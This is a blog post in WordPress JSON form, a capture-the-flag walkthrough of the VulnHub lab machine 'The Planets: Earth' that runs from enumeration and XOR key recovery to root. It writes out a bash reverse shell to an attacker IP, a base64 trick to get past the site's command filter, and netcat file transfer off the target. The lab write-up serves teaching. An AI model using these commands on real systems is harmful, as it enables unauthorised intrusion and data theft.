{"id":1715,"date":"2024-07-22T17:05:21","date_gmt":"2024-07-22T21:05:21","guid":{"rendered":"https:\/\/www.peteonsoftware.com\/?p=1715"},"modified":"2024-07-24T15:51:44","modified_gmt":"2024-07-24T19:51:44","slug":"vulnhub-walkthrough-the-planets-earth","status":"publish","type":"post","link":"https:\/\/www.peteonsoftware.com\/index.php\/2024\/07\/22\/vulnhub-walkthrough-the-planets-earth\/","title":{"rendered":"VulnHub Walkthrough \u2013 The Planets: Earth"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_earth.jpg\" alt=\"The Planet Earth\" title=\"The Planet Earth\" style=\"float:left;margin:.5rem;\"><a href=\"https:\/\/www.peteonsoftware.com\/index.php\/2024\/04\/06\/vulnhub-walkthrough-the-planets-mercury\/\">Previously<\/a>, we took a look at an intentionally vulnerable VM from VulnHub called The Planets: Mercury.  This time, I&#8217;m going to tackle another one in the same series by the same author called The Planets: Earth.  You can download the file to play along from <a href=\"https:\/\/www.vulnhub.com\/entry\/the-planets-earth,755\/\">here<\/a>.  Setup will actually be almost the same as it was in the Mercury post, so if you need help getting started, check back there.<\/p>\n<p>I skipped planetary order because Venus was labelled as a &#8220;Medium&#8221; box and Earth is considered on the harder side of easy, so I wanted to step this up slowly as we go.  As it turns out, this box definitely poses some challenges of its own.  That isn&#8217;t to say that I didn&#8217;t miss an easier path, but I went in the most straightforward way I could find.  I also had a misstep or two, and I&#8217;ll point out where I went down a trail without taking you there myself.<\/p>\n<p>After I got the box running and figured out its IP address like last time, I ran the following command to figure out what was going on.  <em>sudo nmap -p- -sC -sV -T4 192.168.56.104<\/em>  I had to use <em>sudo<\/em> because running <em>-sV<\/em> with nmap requires it.  <em>-p-<\/em> scans all ports, <em>-sC<\/em> runs default scripts, <em>-sV<\/em> checks for versions, <em>-T4<\/em> makes it run with more threads to get done faster.<\/p>\n<pre>\r\nsudo nmap -p- -sC -sV -T4 192.168.56.104\r\n\r\nNot shown: 65512 filtered tcp ports (no-response), 20 filtered tcp ports (admin-prohibited)\r\nPORT    STATE SERVICE  VERSION\r\n22\/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)\r\n| ssh-hostkey: \r\n|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)\r\n|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)\r\n80\/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL\/1.1.1l mod_wsgi\/4.7.1 Python\/3.9)\r\n|_http-server-header: Apache\/2.4.51 (Fedora) OpenSSL\/1.1.1l mod_wsgi\/4.7.1 Python\/3.9\r\n|_http-title: Earth Secure Messaging\r\n443\/tcp open  ssl\/http Apache httpd 2.4.51 ((Fedora) OpenSSL\/1.1.1l mod_wsgi\/4.7.1 Python\/3.9)\r\n| ssl-cert: Subject: commonName=earth.local\/stateOrProvinceName=Space\r\n| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local\r\n<\/pre>\n<p>From our results, we can see that 3 ports are open: 22, 80, and 443.  Those are the ports for SSH, HTTP, and HTTPS respectively.  Just like last time, we save port 22\/SSH for later, as that is often mid-to-endgame stuff in capture the flag boxes if web servers are present.  I note that there are some DNS names to consider: earth.local and terratest.earth.local.  Because 2 sites are potentially being hosted on one box, we&#8217;ll need to add those names to our hosts file so that we can use them in the web browser to get the sites we want.<\/p>\n<p>I type the command <em>sudo nano \/etc\/hosts<\/em> in my Kali Linux virtual machine and then add this line to the bottom.  After that, I save and exit and from now on, I can just refer to the box by those easier names rather than the IP address.<\/p>\n<pre>192.168.56.104  earth.local     terratest.earth.local<\/pre>\n<p>When I go to http:\/\/earth.local, it brings up the &#8220;Earth Secure Messaging Service&#8221;.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_earthlocalsite.jpg\" alt=\"The default earth.local site\" title=\"The default earth.local site\"><\/p>\n<p>When I enter a message of <em>a<\/em> with a key of <em>a<\/em>, I get the same result (<em>00<\/em>).  When I enter a message of <em>a<\/em> with a key of <em>b<\/em>, I get a different result (<em>03<\/em>).  I made a note of this and checked the source of the HTML page and didn&#8217;t find anything of value.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_messageencodingsamekeysamevalue.jpg\" alt=\"My resulting messages\" title=\"My resulting messages\"><\/p>\n<p>Going to https:\/\/terratest.earth.local\/ brings up &#8220;Test site, please ignore.&#8221; in plain text, and the source is the same, so that&#8217;s not helpful for gaining a foothold.  I will note that if you go to the http:\/\/ version of the terratest site, it just shows you the earth.local messaging site.<\/p>\n<p>When in doubt, enumerate!  Let&#8217;s use gobuster to see what we can see!  For our command, <em>dir<\/em> means directory mode <em>&#8211;url<\/em> tells gobuster what URL to enumerate <em>-w<\/em> is the wordlist to use, and <em>-k<\/em> tells it to not do the SSL validation check (necessary here because this box has a self-signed cert and the check fails).<\/p>\n<pre>\r\ngobuster dir --url https:\/\/earth.local -w \/usr\/share\/wordlists\/dirb\/common.txt -k\r\n\/admin                (Status: 301) [Size: 0] [--> \/admin\/]\r\n\/cgi-bin\/             (Status: 403) [Size: 199]\r\n\r\ngobuster dir --url https:\/\/terratest.earth.local -w \/usr\/share\/wordlists\/dirb\/common.txt -k\r\n\/.hta                 (Status: 403) [Size: 199]\r\n\/.htaccess            (Status: 403) [Size: 199]\r\n\/.htpasswd            (Status: 403) [Size: 199]\r\n\/cgi-bin\/             (Status: 403) [Size: 199]\r\n\/index.html           (Status: 200) [Size: 26]\r\nProgress: 2933 \/ 4615 (63.55%)[ERROR] Get \"https:\/\/terratest.earth.local\/nokia\": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\r\n\/robots.txt           (Status: 200) [Size: 521]\r\nProgress: 4614 \/ 4615 (99.98%)\r\n<\/pre>\n<p>So, the regular site has an \/admin page and the test site has a robots.txt file and maybe a \/nokia directory.  However, the \/nokia was just a hiccup from the tool as I got an immediate 404 when trying to go there.  Let&#8217;s take a look at the robots.txt at https:\/\/terratest.earth.local\/robots.txt<\/p>\n<pre>\r\nUser-Agent: *\r\nDisallow: \/*.asp\r\nDisallow: \/*.aspx\r\nDisallow: \/*.bat\r\nDisallow: \/*.c\r\nDisallow: \/*.cfm\r\nDisallow: \/*.cgi\r\nDisallow: \/*.com\r\nDisallow: \/*.dll\r\nDisallow: \/*.exe\r\nDisallow: \/*.htm\r\nDisallow: \/*.html\r\nDisallow: \/*.inc\r\nDisallow: \/*.jhtml\r\nDisallow: \/*.jsa\r\nDisallow: \/*.json\r\nDisallow: \/*.jsp\r\nDisallow: \/*.log\r\nDisallow: \/*.mdb\r\nDisallow: \/*.nsf\r\nDisallow: \/*.php\r\nDisallow: \/*.phtml\r\nDisallow: \/*.pl\r\nDisallow: \/*.reg\r\nDisallow: \/*.sh\r\nDisallow: \/*.shtml\r\nDisallow: \/*.sql\r\nDisallow: \/*.txt\r\nDisallow: \/*.xml\r\nDisallow: \/testingnotes.*\r\n<\/pre>\n<p>I&#8217;m not sure why testingnotes&#8217; extension got left off, maybe to delay us?  I tried going to different extensions: .txt, .html, .htm, .xml, and even no extension, but only .txt returned anything.  Here&#8217;s what we got<\/p>\n<pre>\r\nTesting secure messaging system notes:\r\n*Using XOR encryption as the algorithm, should be safe as used in RSA.\r\n*Earth has confirmed they have received our sent messages.\r\n*testdata.txt was used to test encryption.\r\n*terra used as username for admin portal.\r\nTodo:\r\n*How do we send our monthly keys to Earth securely? Or should we change keys weekly?\r\n*Need to test different key lengths to protect against bruteforce. How long should the key be?\r\n*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.\r\n<\/pre>\n<p>First note, this seems to also suggest a testdata.txt file might be available and https:\/\/terratest.earth.local\/testdata.txt gives us this<\/p>\n<pre>\r\nAccording to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.\r\n<\/pre>\n<p>Okay, that was some fast and furious fact finding.  Let&#8217;s take stock of what we know now or <strong><em>might<\/em><\/strong> know.<\/p>\n<p><strong>Potential Username: terra<\/strong><br \/>\n<strong>Encryption Used: XOR<\/strong><\/p>\n<p>If you already know everything there is to know about XOR, you can skip ahead a bit.  If not, I&#8217;m going to do a little explaining about what I&#8217;m about to do.  When you use XOR, it doesn&#8217;t matter which is the message and which is the key, it is like multiplication or addition in that the answer will be the same.  That is also true backwards.  If you take the answer and XOR the Message, you get the Key.  If you take the answer and XOR the Key, you get the Message.  Let&#8217;s see this in action with <a href=\"https:\/\/gchq.github.io\/CyberChef\/\">CyberChef<\/a>.  Using CyberChef is outside of this blog post (maybe a future one!), but take a look at what happens when I use <em>a<\/em> as Message and <em>b<\/em> as Key and then use <em>b<\/em> as Message and <em>a<\/em> as Key.  No matter what, it comes out to <em>03<\/em>.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_proofofconceptencryption.jpg\" alt=\"An XOR Proof of Concept for Encryption\" title=\"An XOR Proof of Concept for Encryption\"><\/p>\n<p>Now, what happens when <em>03<\/em> is passed in and <em>a<\/em> is the key?  We get <em>b<\/em> as the message.  And when <em>03<\/em> is passed in as the result and <em>b<\/em> is the key?  <em>a<\/em> shows as the message.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_proofofconceptdecryption.jpg\" alt=\"An XOR Proof of Concept for Decryption\" title=\"An XOR Proof of Concept for Decryption\"><\/p>\n<p>It looks like we have one of the pieces (either the Key or the Message) testdata.txt file.  We also have the resulting ciphertext from the earth.local site.  If I plug it in just like the proof of concept, I should get the other piece.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_firstmessagedecrypted.jpg\" alt=\"XOR Missing Piece Found\" title=\"XOR Missing Piece Found\"><\/p>\n<p>We get the string <em>earthclimatechangebad4humans<\/em> repeated over and over again.  <\/p>\n<pre>\r\nearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat\r\n<\/pre>\n<p>Because of the way it is repeated and cut off, that probably means <em>earthclimatechangebad4humans<\/em> was the key and &#8220;According to radiometric dating&#8230;&#8221; was the message.  Let&#8217;s try again with the same ciphertext input but only <em>earthclimatechangebad4humans<\/em> as the key.  When we do, we get back the text from testdata.txt perfectly.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_howitwasactuallydone.jpg\" alt=\"Decrypting with only the 28 character passphrase\" title=\"Decrypting with only the 28 character passphrase\"><\/p>\n<p>Note: I tried the other messages that were on the page when we first got there, but only the initial message decrypted with that key (or that message).  So no further gold to mine there.  The note mentioned that terra was a username for the admin portal and I had forgotten about it until now.  If the key isn&#8217;t the password, we&#8217;ll have to try SQL Injection or credential stuffing.  So when we go to https:\/\/earth.local\/admin, we get a link to login.  Clicking it reveals a form.  Here is what that looks like.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_adminlogin.jpg\" alt=\"The Admin Login Page\" title=\"The Admin Login Page\"><\/p>\n<p>Fortunately, terra:earthclimatechangebad4humans were the login credentials we need and we are presented with the admin page, ripe for some good old command issuing.  <em>whoami<\/em> comes back apache.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_loginsuccess.jpg\" alt=\"Admin Login Success\" title=\"Admin Login Success\"><\/p>\n<p>Let&#8217;s try to find the user flag, which for Sir Proton, seems to usually be named user_flag.txt.  I asked the input to find that file, got a path, then used cat to output the file.  Flag 1 Complete!<\/p>\n<pre>\r\nfind \/ -name \"user_flag.txt\"\r\nCommand output: \/var\/earth_web\/user_flag.txt\r\ncat \/var\/earth_web\/user_flag.txt\r\nCommand output: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d] \r\n<\/pre>\n<p>Can I find the root flag the same way?<\/p>\n<pre>\r\nfind \/ -name \"root_flag.txt\"\r\nCommand output: \r\n<\/pre>\n<p>Drat!  Gonna have to work at this the hard way.  Can I SSH into the box with these credentials?  No, I cannot.  Okay, that means we have to use this admin portal to do a reverse shell.  Let me see what we have on the server, do we have bash?<\/p>\n<pre>\r\nwhich bash\r\nCommand output: \/usr\/bin\/bash\r\n<\/pre>\n<p>Okay, bash is here and usable, so let&#8217;s do a bash-based reverse shell.  If we go to <a href=\"https:\/\/www.revshells.com\/\">RevShells.com<\/a>, we can find all we need to do it.  Just fill in what you want and you get the command to issue on your local machine and what command to execute on the target to call to you.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_myrevshell.jpg\" alt=\"My RevShells for this box\" title=\"My RevShells for this box\"><\/p>\n<p>I issued those commands and got this<\/p>\n<pre>\r\nnc -lvnp 4444 # On the Kali Box\r\nbash -i >& \/dev\/tcp\/192.168.56.103\/4444 0>&1 # In the admin CLI text box\r\n\r\nSite Response: Remote connections are forbidden. \r\n<\/pre>\n<p>D&#8217;OH!  They must have something that parses the text coming in looking for IPs or something.  Let&#8217;s see if we hide the command with base64 if that gets it done:<\/p>\n<pre>\r\necho \"bash -i >& \/dev\/tcp\/192.168.56.103\/4444 0>&1\" | base64 # On Kali Machine\r\nYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjEK # Result\r\nnc -lvnp 4444 # On Kali Box\r\necho \"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjEK\" | base64 -d | bash # In the admin CLI text box\r\n\r\n#Back on Kali...\r\nconnect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 53594\r\nbash: cannot set terminal process group (832): Inappropriate ioctl for device\r\nbash: no job control in this shell\r\nbash-5.1$ \r\n\r\nwhoami\r\napache\r\n<\/pre>\n<p>Yahtzee!  I tried sudo -l like we did in Mercury to find what we could execute as sudo, but I don&#8217;t know <em>apache<\/em>&#8216;s password, so that doesn&#8217;t work.  The next step of low hanging fruit is to check and see if the SUID bit is set on any files that let me execute them as if I were the owner.  I asked my buddy ChatGPT how to do that and got this command<\/p>\n<pre>\r\nfind \/ -perm \/4000 -type f 2>\/dev\/null\r\n\/usr\/bin\/chage\r\n\/usr\/bin\/gpasswd\r\n\/usr\/bin\/newgrp\r\n\/usr\/bin\/su\r\n\/usr\/bin\/mount\r\n\/usr\/bin\/umount\r\n\/usr\/bin\/pkexec\r\n\/usr\/bin\/passwd\r\n\/usr\/bin\/chfn\r\n\/usr\/bin\/chsh\r\n\/usr\/bin\/at\r\n\/usr\/bin\/sudo\r\n\/usr\/bin\/reset_root\r\n\/usr\/sbin\/grub2-set-bootflag\r\n\/usr\/sbin\/pam_timestamp_check\r\n\/usr\/sbin\/unix_chkpwd\r\n\/usr\/sbin\/mount.nfs\r\n\/usr\/lib\/polkit-1\/polkit-agent-helper-1\r\n<\/pre>\n<p>Well, <em>reset_root<\/em> sounds promising.  Let me call it<\/p>\n<pre>\r\nreset_root\r\nCHECKING IF RESET TRIGGERS PRESENT...\r\nRESET FAILED, ALL TRIGGERS ARE NOT PRESENT.\r\n<\/pre>\n<p>Okay.  What is it checking exactly?  I can&#8217;t easily tell on this box where I&#8217;m a super low privileged user, so I need to get this to my own box.  Python was available, so I copied the binary to \/tmp and tried <em>python3 -m http.server<\/em> from \/tmp and tried to connect.  It didn&#8217;t work.  I tried a bunch of ports and none of it worked.  So, I asked ChatGPT again and explained what I needed and my robot friend suggested I used netcat on both ends.  Here is what worked:<\/p>\n<pre>\r\nnc -lvp 9001 > reset_root # On Kali\r\nlistening on [any] 9001 ... # Kali Response\r\n\r\nnc 192.168.56.103 9001 < \/usr\/bin\/reset_root # In my reverse shell terminal\r\n\r\nconnect to [192.168.56.103] from earth.local [192.168.56.104] 54190 # Kali Terminal updated with this message\r\n<\/pre>\n<p>And I had a file locally.  I did a <em>sudo chmod +x .\/reset_root<\/em> so I could run it.  I asked ChatGPT and it suggested using a few programs to see what was being checked, two of them were <em>strace<\/em> and <em>ltrace<\/em>.  When I tried to use <em>strace<\/em> to see what it was doing...<\/p>\n<pre>\r\nstrace .\/reset_root     \r\nexecve(\".\/reset_root\", [\".\/reset_root\"], 0x7ffd2af42c30 \/* 55 vars *\/) = 0\r\nbrk(NULL)                               = 0x67b000\r\nmmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2fff5d000\r\naccess(\"\/etc\/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\r\nopenat(AT_FDCWD, \"\/etc\/ld.so.cache\", O_RDONLY|O_CLOEXEC) = 3\r\nnewfstatat(3, \"\", {st_mode=S_IFREG|0644, st_size=114611, ...}, AT_EMPTY_PATH) = 0\r\nmmap(NULL, 114611, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff2fff41000\r\nclose(3)                                = 0\r\nopenat(AT_FDCWD, \"\/lib\/x86_64-linux-gnu\/libc.so.6\", O_RDONLY|O_CLOEXEC) = 3\r\nread(3, \"\\177ELF\\2\\1\\1\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0P~\\2\\0\\0\\0\\0\\0\"..., 832) = 832\r\npread64(3, \"\\6\\0\\0\\0\\4\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0\"..., 784, 64) = 784\r\nnewfstatat(3, \"\", {st_mode=S_IFREG|0755, st_size=1933688, ...}, AT_EMPTY_PATH) = 0\r\npread64(3, \"\\6\\0\\0\\0\\4\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0\"..., 784, 64) = 784\r\nmmap(NULL, 1985936, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff2ffd5c000\r\nmmap(0x7ff2ffd82000, 1404928, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7ff2ffd82000\r\nmmap(0x7ff2ffed9000, 348160, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17d000) = 0x7ff2ffed9000\r\nmmap(0x7ff2fff2e000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d1000) = 0x7ff2fff2e000\r\nmmap(0x7ff2fff34000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff2fff34000\r\nclose(3)                                = 0\r\nmmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2ffd59000\r\narch_prctl(ARCH_SET_FS, 0x7ff2ffd59740) = 0\r\nset_tid_address(0x7ff2ffd59a10)         = 3872\r\nset_robust_list(0x7ff2ffd59a20, 24)     = 0\r\nrseq(0x7ff2ffd5a060, 0x20, 0, 0x53053053) = 0\r\nmprotect(0x7ff2fff2e000, 16384, PROT_READ) = 0\r\nmprotect(0x403000, 4096, PROT_READ)     = 0\r\nmprotect(0x7ff2fff8f000, 8192, PROT_READ) = 0\r\nprlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0\r\nmunmap(0x7ff2fff41000, 114611)          = 0\r\nnewfstatat(1, \"\", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0\r\ngetrandom(\"\\xc4\\xad\\x58\\x5b\\x45\\x55\\x52\\x3f\", 8, GRND_NONBLOCK) = 8\r\nbrk(NULL)                               = 0x67b000\r\nbrk(0x69c000)                           = 0x69c000\r\nwrite(1, \"CHECKING IF RESET TRIGGERS PRESE\"..., 38CHECKING IF RESET TRIGGERS PRESENT...\r\n) = 38\r\naccess(\"\/dev\/shm\/kHgTFI5G\", F_OK)       = -1 ENOENT (No such file or directory)\r\naccess(\"\/dev\/shm\/Zw7bV9U5\", F_OK)       = -1 ENOENT (No such file or directory)\r\naccess(\"\/tmp\/kcM0Wewe\", F_OK)           = -1 ENOENT (No such file or directory)\r\nwrite(1, \"RESET FAILED, ALL TRIGGERS ARE N\"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.\r\n) = 44\r\nexit_group(0)                           = ?\r\n+++ exited with 0 +++\r\n<\/pre>\n<p>Well, that's a lot.  The answer is probably in there, but let's see if <em>ltrace<\/em> is more concise.<\/p>\n<pre>\r\nltrace .\/reset_root\r\nputs(\"CHECKING IF RESET TRIGGERS PRESE\"...CHECKING IF RESET TRIGGERS PRESENT...\r\n)              = 38\r\naccess(\"\/dev\/shm\/kHgTFI5G\", 0)                           = -1\r\naccess(\"\/dev\/shm\/Zw7bV9U5\", 0)                           = -1\r\naccess(\"\/tmp\/kcM0Wewe\", 0)                               = -1\r\nputs(\"RESET FAILED, ALL TRIGGERS ARE N\"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.\r\n)              = 44\r\n+++ exited (status 0) +++\r\n<\/pre>\n<p>Well, that's easier to see.  And I can see those 3 <em>access()<\/em> lines were at the end of the <em>strace<\/em> output also. I just didn't know what to look for.  So, I *THINK* that <em>reset_root<\/em> is just looking for those files to exist to work.  So back in my reverse shell, I issued these four commands to make the three files and then run <em>reset_root<\/em> again. <\/p>\n<pre>\r\ntouch \/dev\/shm\/kHgTFI5G\r\ntouch \/dev\/shm\/Zw7bV9U5\r\ntouch \/tmp\/kcM0Wewe\r\nreset_root\r\nCHECKING IF RESET TRIGGERS PRESENT...\r\nRESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth\r\n<\/pre>\n<p>Okay.  So, can I switch to root and get the flag?  Yep!<\/p>\n<pre>\r\nsu root # Earth as password when prompted\r\nwhoami\r\nroot\r\ncd \/root\r\nls\r\nanaconda-ks.cfg\r\nroot_flag.txt\r\ncat root_flag.txt\r\n\r\n              _-o#&&*''''?d:>b\\_\r\n          _o\/\"`''  '',, dMF9MMMMMHo_\r\n       .o&#'        `\"MbHMMMMMMMMMMMHo.\r\n     .o\"\" '         vodM*$&&HMMMMMMMMMM?.\r\n    ,'              $M&ood,~'`(&##MMMMMMH\\\r\n   \/               ,MMMMMMM#b?#bobMMMMHMMML\r\n  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk\r\n ?$.            :MMMMMMMMMMMMMMMMMMM\/HMMM|`*L\r\n|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,\r\n$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?\r\n]MMH#             \"\"*\"\"\"\"*#MMMMMMMMMMMMM'    -\r\nMMMMMb_                   |MMMMMMMMMMMP'     :\r\nHMMMMMMMHo                 `MMMMMMMMMT       .\r\n?MMMMMMMMP                  9MMMMMMMM}       -\r\n-?MMMMMMM                  |MMMMMMMMM?,d-    '\r\n :|MMMMMM-                 `MMMMMMMT .M|.   :\r\n  .9MMM[                    &MMMMM*' `'    .\r\n   :9MMk                    `MMM#\"        -\r\n     &M}                     `          .-\r\n      `&.                             .\r\n        `~,   .                     .\/\r\n            . _                  .-\r\n              '`--._,dd###pp=\"\"'\r\n\r\nCongratulations on completing Earth!\r\nIf you have any feedback please contact me at SirFlash@protonmail.com\r\n[root_flag_b0da9554d29db2117b02aa8b66ec492e]\r\n<\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/202407\/planetearth_achievedroot.jpg\" alt=\"We have achieved Root and Captured the Flag\" title=\"We have achieved Root and Captured the Flag\"><\/p>\n<p>There we have it.  As far as I can tell, SSH being open was a rabbit hole and so were the other messages.  I'm not sure if there was a better way to tell what <em>reset_root<\/em> was checking for, but if you were able to follow along and learn something, that's great!  If you have any tips about how you may have solved this box differently, let me know.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Previously, we took a look at an intentionally vulnerable VM from VulnHub called The Planets: Mercury. This time, I&#8217;m going to tackle another one in the same series by the same author called The Planets: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[153],"tags":[142,149,150,134],"class_list":["post-1715","post","type-post","status-publish","format-standard","hentry","category-capture-the-flag","tag-infosec","tag-offensive-security","tag-penetration-testing","tag-security"],"_links":{"self":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts\/1715","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/comments?post=1715"}],"version-history":[{"count":0,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts\/1715\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/media?parent=1715"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/categories?post=1715"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/tags?post=1715"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}